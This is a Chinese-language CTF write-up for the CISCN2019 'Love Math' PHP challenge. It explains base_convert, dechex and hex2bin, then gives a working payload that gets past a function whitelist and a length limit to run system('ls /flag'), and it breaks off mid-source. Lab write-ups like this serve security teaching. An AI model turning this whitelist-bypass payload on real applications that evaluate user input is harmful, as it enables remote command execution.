[CISCN2019 初赛]Love Math

[CISCN2019 初赛]Love Math

前言

一道非常有意思的，逻辑比较简单的代码审计

知识点

base_convert()函数

in_array()函数

in_array(值，数组) 函数搜索数组中是否存在指定的值。

实例

<?php
    $people = array("Peter", "Joe", "Glenn", "Cleveland", 23); 
if (in_array("23", $people, TRUE))
{
   
    echo "Match found<br>";
} 
else 
{
       echo "Match not found<br>"; } 
?>

本实例输出Match found

dechex()函数

dechex() 函数把十进制数转换为十六进制数。

hex2bin() 函数

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

奇技淫巧

用变量保存函数和参数

为了绕过80字长限制，我们用变量保存函数和参数

看payload理解一下

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /flag

这里用$pi存储后面的payload

转换进制来绕过函数名的白名单过滤

hex2bin为白名单之外的函数 我们想利用该函数 可以将hex2bin看作一个36进制的字符串 再使用进制转换工具 将hex2bin转换为10进制数字 再用base_convert函数将十进制转为36进制

题解

进入环境，发现源码，开始审计

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
   
    show_source(__FILE__);
}else{
   
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
   
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n'